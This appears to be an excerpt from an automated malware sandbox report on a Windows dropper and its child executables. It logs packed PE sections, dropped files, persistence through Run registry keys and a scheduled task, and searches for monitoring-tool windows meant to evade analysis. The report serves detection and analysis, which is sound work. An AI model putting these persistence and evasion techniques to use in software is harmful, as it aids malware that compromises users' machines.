Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Unpacked PE file: 4.2.7RNKVR1EZ552XQ73.exe.2d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;njaoxwad:EW;wxwvdadu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;njaoxwad:EW;wxwvdadu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Unpacked PE file: 5.2.QDDSFWH7TPMYGYIMIOWX7SBOU5.exe.a30000.0.unpack :EW;.rsrc:W;.idata :W;ohppgexj:EW;lrldjnhc:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.fe0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ptpgbbgo:EW;epijyeip:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ptpgbbgo:EW;epijyeip:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 8.2.skotes.exe.fe0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ptpgbbgo:EW;epijyeip:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ptpgbbgo:EW;epijyeip:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Unpacked PE file: 9.2.976d9f40c1.exe.ff0000.0.unpack :EW;.rsrc :W;.idata :W;hinhbduz:EW;spippvyb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;hinhbduz:EW;spippvyb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Unpacked PE file: 10.2.606f2f6db0.exe.e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;njaoxwad:EW;wxwvdadu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;njaoxwad:EW;wxwvdadu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Unpacked PE file: 11.2.976d9f40c1.exe.ff0000.0.unpack :EW;.rsrc :W;.idata :W;hinhbduz:EW;spippvyb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;hinhbduz:EW;spippvyb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Unpacked PE file: 28.2.976d9f40c1.exe.ff0000.0.unpack :EW;.rsrc :W;.idata :W;hinhbduz:EW;spippvyb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;hinhbduz:EW;spippvyb:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Unpacked PE file: 31.2.606f2f6db0.exe.e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;njaoxwad:EW;wxwvdadu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;njaoxwad:EW;wxwvdadu:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: real checksum: 0x1cc9f0 should be: 0x1cbb3a
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x2e7796 should be: 0x2e03f1
Source: 976d9f40c1.exe.8.dr	Static PE information: real checksum: 0x2e7796 should be: 0x2e03f1
Source: 606f2f6db0.exe.8.dr	Static PE information: real checksum: 0x1cc9f0 should be: 0x1cbb3a
Source: QDDSFWH7TPMYGYIMIOWX7SBOU5.exe.0.dr	Static PE information: real checksum: 0x2bc9c7 should be: 0x2bd233
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x1cc9f0 should be: 0x1cbb3a
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: real checksum: 0x1e03ba should be: 0x1e2b8e
Source: file.exe	Static PE information: real checksum: 0x2e7796 should be: 0x2e03f1
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1e03ba should be: 0x1e2b8e
Source: num[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x52a2a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: hinhbduz
Source: file.exe	Static PE information: section name: spippvyb
Source: file.exe	Static PE information: section name: .taggant
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: section name:
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: section name: .idata
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: section name:
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: section name: ptpgbbgo
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: section name: epijyeip
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: section name: .taggant
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: section name:
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: section name: .rsrc
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: section name: .idata
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: section name:
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: section name: njaoxwad
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: section name: wxwvdadu
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: section name: .taggant
Source: QDDSFWH7TPMYGYIMIOWX7SBOU5.exe.0.dr	Static PE information: section name:
Source: QDDSFWH7TPMYGYIMIOWX7SBOU5.exe.0.dr	Static PE information: section name: .idata
Source: QDDSFWH7TPMYGYIMIOWX7SBOU5.exe.0.dr	Static PE information: section name: ohppgexj
Source: QDDSFWH7TPMYGYIMIOWX7SBOU5.exe.0.dr	Static PE information: section name: lrldjnhc
Source: QDDSFWH7TPMYGYIMIOWX7SBOU5.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: ptpgbbgo
Source: skotes.exe.3.dr	Static PE information: section name: epijyeip
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name: hinhbduz
Source: random[1].exe.8.dr	Static PE information: section name: spippvyb
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: 976d9f40c1.exe.8.dr	Static PE information: section name:
Source: 976d9f40c1.exe.8.dr	Static PE information: section name: .rsrc
Source: 976d9f40c1.exe.8.dr	Static PE information: section name: .idata
Source: 976d9f40c1.exe.8.dr	Static PE information: section name: hinhbduz
Source: 976d9f40c1.exe.8.dr	Static PE information: section name: spippvyb
Source: 976d9f40c1.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: njaoxwad
Source: random[1].exe0.8.dr	Static PE information: section name: wxwvdadu
Source: random[1].exe0.8.dr	Static PE information: section name: .taggant
Source: 606f2f6db0.exe.8.dr	Static PE information: section name:
Source: 606f2f6db0.exe.8.dr	Static PE information: section name: .rsrc
Source: 606f2f6db0.exe.8.dr	Static PE information: section name: .idata
Source: 606f2f6db0.exe.8.dr	Static PE information: section name:
Source: 606f2f6db0.exe.8.dr	Static PE information: section name: njaoxwad
Source: 606f2f6db0.exe.8.dr	Static PE information: section name: wxwvdadu
Source: 606f2f6db0.exe.8.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010D6A04 push esp; ret	0_3_010D6A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010D6A04 push esp; ret	0_3_010D6A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010D6A04 push esp; ret	0_3_010D6A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010D6A04 push esp; ret	0_3_010D6A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DB3DA push ss; iretd	0_3_010DB3DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DB3DA push ss; iretd	0_3_010DB3DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DB3DA push ss; iretd	0_3_010DB3DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DB3DA push ss; iretd	0_3_010DB3DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_059947C5 push BA007734h; ret	0_3_059947CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_059997B0 push fs; retf	0_3_059997B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_059997B0 push fs; retf	0_3_059997B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010D6A04 push esp; ret	0_3_010D6A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010D6A04 push esp; ret	0_3_010D6A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010D6A04 push esp; ret	0_3_010D6A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010D6A04 push esp; ret	0_3_010D6A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DB3DA push ss; iretd	0_3_010DB3DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DB3DA push ss; iretd	0_3_010DB3DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DB3DA push ss; iretd	0_3_010DB3DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DB3DA push ss; iretd	0_3_010DB3DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010D6A04 push esp; ret	0_3_010D6A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010D6A04 push esp; ret	0_3_010D6A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010D6A04 push esp; ret	0_3_010D6A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010D6A04 push esp; ret	0_3_010D6A09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DB3DA push ss; iretd	0_3_010DB3DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DB3DA push ss; iretd	0_3_010DB3DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DB3DA push ss; iretd	0_3_010DB3DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010DB3DA push ss; iretd	0_3_010DB3DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_059947C5 push BA007734h; ret	0_3_059947CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_059997B0 push fs; retf	0_3_059997B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_059997B0 push fs; retf	0_3_059997B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010E94E5 push ss; iretd	0_3_010E94EA

Source: file.exe	Static PE information: section name: entropy: 7.974874912426468
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: section name: entropy: 7.9749859248293
Source: S14AV77TIR9DRWSCWIW0.exe.0.dr	Static PE information: section name: ptpgbbgo entropy: 7.954091941030984
Source: 7RNKVR1EZ552XQ73.exe.0.dr	Static PE information: section name: njaoxwad entropy: 7.953810416570519
Source: QDDSFWH7TPMYGYIMIOWX7SBOU5.exe.0.dr	Static PE information: section name: entropy: 7.802495720845902
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.9749859248293
Source: skotes.exe.3.dr	Static PE information: section name: ptpgbbgo entropy: 7.954091941030984
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.974874912426468
Source: 976d9f40c1.exe.8.dr	Static PE information: section name: entropy: 7.974874912426468
Source: random[1].exe0.8.dr	Static PE information: section name: njaoxwad entropy: 7.953810416570519
Source: 606f2f6db0.exe.8.dr	Static PE information: section name: njaoxwad entropy: 7.953810416570519

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2d569de7b1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 606f2f6db0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 976d9f40c1.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 976d9f40c1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 976d9f40c1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 606f2f6db0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 606f2f6db0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2d569de7b1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2d569de7b1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process information set: NOOPENFILEERRORBOX
